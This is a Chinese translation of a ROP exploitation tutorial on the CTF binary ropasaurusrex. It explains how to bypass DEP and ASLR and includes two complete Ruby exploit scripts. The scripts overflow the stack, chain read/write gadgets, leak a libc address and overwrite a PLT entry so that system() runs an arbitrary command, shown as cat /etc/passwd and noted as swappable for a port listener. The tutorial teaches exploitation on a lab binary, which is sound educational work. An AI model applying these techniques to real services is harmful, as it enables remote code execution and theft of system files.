2017-06-01 14:00:37
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来源： 安全客
作者：Kr0net
翻译：Kr0net
稿费：200RMB投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
传送门
【技术分享】ropasaurusrex:ROP入门教程——STACK
【技术分享】ropasaurusrex:ROP入门教程——DEP（上）
执行它
现在我们已经把cat/etc/passwd写入了内存中，现在我们要调用system()函数，并且让它指向这个地址。事实上，如果关闭了ASLR，这项工作很简单就可以完成。我们知道可执行文件是与libc相连的：
Libc.so.6包含system()的地址：
在调试器中我们可以计算出system()最终被加载的地址：
因为sysetm()只有一个参数，所以它的栈帧很简单：
现在我们以read()为栈顶部，将system()栈帧堆到read()的栈帧上，这看起来非常好：
当read()函数将返回时，栈指针的指向在如上图。当它返回的时候栈弹出read()的返回地址，并跳转到此处。当这个完成的时候，栈的情况如下所示：
嗷呜~这不是很好。当我们进入system()函数的时候栈指针指向read()帧的中部，不是像我们预期的那样指向system()的底部，那我们应该怎么办？
好的，对ROP的编程中有一个叫做pop/pop/ret的重要结构。在我们目前的状况下，它确切来说叫做pop/pop/pop/ret。我们将其简记为”pppr”。我们只要记得，它有足够的pop来清空堆栈，并且带着一个返回。
“pppr”是用来清空栈中我们不想要的东西。因为read()函数有三个参数，所以我们需要三个pop来清空栈，然后返回。我们来看看在在read()之后返回到”pppr”时栈的变化情况。
执行到pop/pop/pop/ret，但它还没有返回之前，栈的情况：
当它返回的时候：
使用objdump可以很简单地找到pop/pop/pop/ret:
这可以在我们执行下一个函数之前清理栈空间，完美！
记得在你自己完成”pppr”的时候，记得使用的pop要处与连续的地址，使用egrep可能不会满足这个要求。
现在如果我们需要三个pop和一个ret（来清除栈中read()的三个参数），我们要达到0x80484b6地址上，我们的栈会变成这个样子：
最后我们用s.read()更新我们的EXP，来查看远程服务向我们发送了什么数据，当前的EXP如下：
require'socket' s=TCPSocket.new("localhost",4444) #Thecommandwe'llrun cmd=ARGV[0]+"\0" #Fromobjdump-x buf=0x08049530 #Fromobjdump-D./ropasaurusrex|grepread read_addr=0x0804832C #Fromobjdump-D./ropasaurusrex|grepwrite write_addr=0x0804830C #Fromgdb,"x/xsystem" system_addr=0xb7ec2450 #Fromobjdump,"pop/pop/pop/ret" pppr_addr=0x080484b6 #Generatethepayload payload="A"*140+ [ #system()'sstackframe buf,#writablememory(cmdbuf) 0x44444444,#system()'sreturnaddress #pop/pop/pop/ret'sstackframe system_addr,#pop/pop/pop/ret'sreturnaddress #read()'sstackframe cmd.length,#numberofbytes buf,#writablememory(cmdbuf) 0,#stdin pppr_addr,#read()'sreturnaddress read_addr#Overwritetheoriginalreturn ].reverse.pack("I*")#Convertaseriesof'ints'toastring #Writethe'exploit'payload s.write(payload) #Whenourpayloadcallsread()thefirsttime,thisisread s.write(cmd) #Readtheresponsefromthecommandandprintittothescreen puts(s.read) #Cleanup s.close()当我们执行EXP，得到意料之中的结果：
如果你查看core dump，你可以看到程序如预期的崩溃在0x44444444。
这个EXP在我的实验机器上运行正常，但是开启ASLR后，它就失败了：
ASLR的开启让EXP的编写变得复杂，我们接下来看！
这里作者介绍了DEP以及其的绕过，过程依然十分详细，接下来进入文章的重点绕过ASLR。
什么是ASLR？
ASLR或者说地址空间布局随机化，是现代系统里一种通过随机加载函数库的地址的防卫措施（除了FreeBSD）。举个例子，我们运行两次ropasaursrex并且获得system()的地址：
可以发现，两次system()的地址不一样，从0xb766e450到0xb76a7450，这就是问题所在。
攻破ASLR
所以，现在我们知道的哪些什么知识可以来用呢？可执行文件本身并不具有随机化，所及我们可以依赖它里面的每一个地址用来定位，这是十分有用的。最重要的是重定位表会一直保留着相同的地址：
我们知道了read()和write()在可执行文件中的地址。这有什么用呢。让我们来看看当可执行文件跑起来时这些地址的值：
仔细看看...我们知道了一个指向read()内存地址的指针！我们可以怎么做呢，想想...？我会给你一点提示：我们可以用write()函数从任意内存中抓取数据并且写入socket中。
最后，执行一些代码！
好的，休息一下，我们将这项工作分解成下面几个步骤，我们需要：1.用read()函数复制一指令进入内存
2.获得write()的地址并且使用write()
3.计算write()和system()两者地址的偏移量，间接得到system()的地址
4.调用system()
要调用system()，我们需要在内存中的某处写入system()的地址，然后才能调用它。最简单的方式是重写read()的plt表，然后调用read()
但是现在，你可能很疑惑到底要怎么做，别急。我过去也是，并且我为我完成了这个任务感到震惊。:)
现在让我们全力以赴来完成它，下面是我们想要建立的栈：
Holy smokes，这是怎么来的？
我们从底部开始看看它是怎么运作的！为了方便区分，我为不同的栈帧做了标记。
Fram[1]我们之前已经见过了。它把命令写入可写的内存里面。 Fram[2]用”pppr”来清除栈（调整esp）。 Fram[3]用write()把read()的地址写入socket。 Fram[4]用”pppr”来清除栈（调整esp）。 Fram[5]socket读取另一个地址，并将其写入内存。这个地址将会是system()的地址。
read()的调用实际上是一个间接的跳转！所以如果我们可以改变0x804961c中的值，然后跳转过去，那样我们就可以跳转到任何的地方！所以在Fram(3)中我们读取read()的实际地址，然后在Fram[5]在这个地方重写地址。 Fram[6]用”pppr”来清除栈（调整esp）。这里有一点不同，ret的返回地址是0x804832c,这个是read()在plt表中的地址。接下来我们将其重写为system()的地址，然后就会跳转到system。
最终的代码
Whew!(口哨声)。这样就完成了。下面的代码充分利用ropasurusrex成功绕过DEP和ASLR：
require'socket' s=TCPSocket.new("localhost",4444) #Thecommandwe'llrun cmd=ARGV[0]+"\0" #Fromobjdump-x buf=0x08049530 #Fromobjdump-D./ropasaurusrex|grepread read_addr=0x0804832C #Fromobjdump-D./ropasaurusrex|grepwrite write_addr=0x0804830C #Fromgdb,"x/xsystem" system_addr=0xb7ec2450 #Framobjdump,"pop/pop/pop/ret" pppr_addr=0x080484b6 #Thelocationwhereread()'s.pltentryis read_addr_ptr=0x0804961c #Thedifferencebetweenread()andsystem() #Calculatedasread(0xb7f48110)-system(0xb7ec2450) #Note:Thisistheonenumberthatneedstobecalculatedusingthe #targetversionoflibcratherthanmyown! read_system_diff=0x85cc0 #Generatethepayload payload="A"*140+ [ #system()'sstackframe buf,#writablememory(cmdbuf) 0x44444444,#system()'sreturnaddress #pop/pop/pop/ret'sstackframe #Notethatthiscallsread_addr,whichisoverwrittenbyapointer #tosystem()inthepreviousstackframe read_addr,#(thiswillbecomesystem()) #secondread()'sstackframe #Thisreadstheaddressofsystem()fromthesocketandoverwrites #read()'s.pltentrywithit,socallstoread()endupgoingto #system() 4,#lengthofanaddress read_addr_ptr,#addressofread()'s.pltentry 0,#stdin pppr_addr,#read()'sreturnaddress #pop/pop/pop/ret'sstackframe read_addr, #write()'sstackframe #Thisframegetstheaddressoftheread()functionfromthe.plt #entryandwritestotostdout 4,#lengthofanaddress read_addr_ptr,#addressofread()'s.pltentry 1,#stdout pppr_addr,#retrurnaddress #pop/pop/pop/ret'sstackframe write_addr, #read()'sstackframe #Thisreadsthecommandwewanttorunfromthesocketandputsit #inourwritable"buf" cmd.length,#numberofbytes buf,#writablememory(cmdbuf) 0,#stdin pppr_addr,#read()'sreturnaddress read_addr#Overwritetheoriginalreturn ].reverse.pack("I*")#Convertaseriesof'ints'toastring #Writethe'exploit'payload s.write(payload) #Whenourpayloadcallsread()thefirsttime,thisisread s.write(cmd) #Gettheresultofthefirstread()call,whichistheactualaddressofread this_read_addr=s.read(4).unpack("I").first 83 84#Calculatetheaddressofsystem() 85this_system_addr=this_read_addr-read_system_diff #Writetheaddressback,whereit'llberead()intothecorrectplaceby #thesecondread()call s.write([this_system_addr].pack("I")) #Finally,readtheresultoftheactualcommand puts(s.read()) #Cleanup s.close()这里是运行结果：
当然你想的话，我们可以改变cat/etc/passwd成任何东西（包括端口监听）：
（总结：这篇文章的翻译到此结束，文章从三个阶段：STACK，DEP，ASLR逐步递进详细地讲解了ROP的编写，译者对这篇文章的翻译希望能给刚刚入门PWN的朋友们带来帮助。虽然译者的PWN能力很弱，但是译者觉得在PWN的学习中，当然除了出题人带来的了巨大脑洞之外，每一次PWN的学习都可以带来狠多的乐趣，就像本文的作者把栈比喻成函数的天堂和地狱，每次PWN的利用无不是对函数世界的重构，虽然重构的过程艰难且繁杂，但每次重构后的世界都能给我们带来收获）
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【技术分享】ropasaurusrex:ROP入门教程——STACK
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